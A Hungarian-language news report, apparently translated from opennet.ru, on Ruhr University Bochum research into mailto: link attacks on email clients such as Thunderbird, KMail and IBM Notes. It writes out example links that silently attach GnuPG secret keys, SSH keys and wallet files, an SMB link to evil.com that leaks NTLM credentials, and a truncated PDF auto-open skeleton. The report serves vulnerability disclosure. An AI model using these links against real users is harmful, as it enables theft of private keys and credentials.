A Ruhr University Bochum kutatói (Németország) () a levelezőkliensek viselkedése a «mailto:» linkek feldolgozása során kiterjesztett paraméterekkel. A huszonegy vizsgált levelezőkliensek közül öt sebezhető volt egy olyan támadással szemben, amely az «attach» paraméter segítségével manipulálta az erőforrások behelyettesítését. További hat levelezőklient érintett a PGP és S/MIME kulcsainak helyettesítése elleni támadás, míg három kliens sebezhető volt az titkosított üzenetek tartalmának kiaknázása ellen.
A «» linkek automatizálják a levelezőkliensek megnyitását, hogy levelet írhassunk a megadott címzettnek. A link tartalmazhat címzett mellett további paramétereket, mint például a levél tárgya és a szokásos tartalom sablonja. A javasolt támadás manipulálja az «attach» paramétert, amely lehetővé teszi fájlok csatolását a létrehozott levélhez.
A Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) és Pegasus Mail levelezőkliensek sebezhetőek voltak egy triviális támadással szemben, amely lehetővé tette, hogy bármilyen helyi fájlt automatikusan csatoljunk a «mailto:?attach=út_a_fájlhoz» formátumú link használatával. A fájl figyelmeztetés nélkül csatolásra kerül, így a felhasználó, aki külön hangsúlyt nem fektet erre, észre sem veszi, hogy a levél csatolt fájlokkal fog elküldésre kerülni.
Például egy «mailto:?to=user@example.com&subject=Cím&body=Tartalom&attach=~/.gnupg/secring.gpg» formátumú linken keresztül a GnuPG titkos kulcsait lehet beilleszteni a levélbe. Akriptovaluták tartalmát (~/.bitcoin/wallet.dat), SSH-kulcsokat (~/.ssh/id_rsa) és bármilyen felhasználó által hozzáférhető fájlt is el lehet küldeni. Továbbá, a Thunderbird lehetővé teszi fájlcsoportok csatolását minták használatával a «attach=/tmp/*.txt» formátumban.
Helyi fájlok mellett néhány levelezőkliensek kezelik a hálózati tárolókra és IMAP-szerverekre mutató linkeket is. Különösen az IBM Notes lehetővé teszi, hogy fájlt továbbítsunk egy hálózati könyvtárból az «attach=\\evil.com\dummyfile» formátumú linkek feldolgozása során, valamint az NTLM hitelesítési paramétereket is meg tudja támadni, ha a link egy támadó által ellenőrzött SMB szerverre mutat (a kérés a felhasználó aktuális hitelesítési paramétereivel lesz elküldve).
A Thunderbird sikeresen kezeli az "attach=imap://fetch>UID>/INBOX>1/" típusú kéréseket, amelyek lehetővé teszik a tartalom csatolását az IMAP szerver mappáiból. Ezzel szemben az IMAP-ból kinyert üzenetek, amelyeket OpenPGP és S/MIME titkosítanak, automatikusan visszafejtésre kerülnek a levelezőprogram által a küldés előtt. A Thunderbird fejlesztőit értesítették februárban, és az új kiadásban a probléma már megoldásra került (a Thunderbird 52, 60 és 68 ágazatai továbbra is sebezhetőek).
A régi Thunderbird verziók két másik PGP és S/MIME támadási módnak is ki voltak téve, amelyekről a kutatók beszámoltak. Különösen a Thunderbird, valamint az OutLook, PostBox, eM Client, MailMate és R2Mail2 érintett volt egy kulcscsere támadással, mivel a levelezőprogram automatikusan importálja és telepíti az S/MIME üzenetekben továbbított új tanúsítványokat, lehetővé téve a támadó számára a felhasználónál már tárolt nyilvános kulcsok csereberélését.
A második támadás, amelynek a Thunderbird, PostBox és MailMate ki van téve, manipulálja az üzenetek automatikus mentési mechanizmusának jellemzőit, és lehetővé teszi a mailto paraméterek segítségével a titkosított üzenetek visszafejtését vagy digitális aláírás hozzáadását tetszőleges üzenetekhez, majd az eredmény IMAP támadó szerverére történő továbbítását. A titkos szöveg az támadás során a "body" paraméteren keresztül kerül továbbításra, míg a támadó IMAP szerverhez való kérések indítására a "meta refresh" címke használandó. Példa: ‘’
A "mailto:" linkek automatikus feldolgozására a felhasználó részvétele nélkül különlegesen formázott PDF dokumentumok alkalmazhatók - az OpenAction művelet a PDF-ben automatikusan elindítja a mailto kezelőt a dokumentum megnyitásakor:
%PDF-1.5
1 0 obj
<>
endobj
2 0 obj
<>
endobj
Forrás: opennet.ru
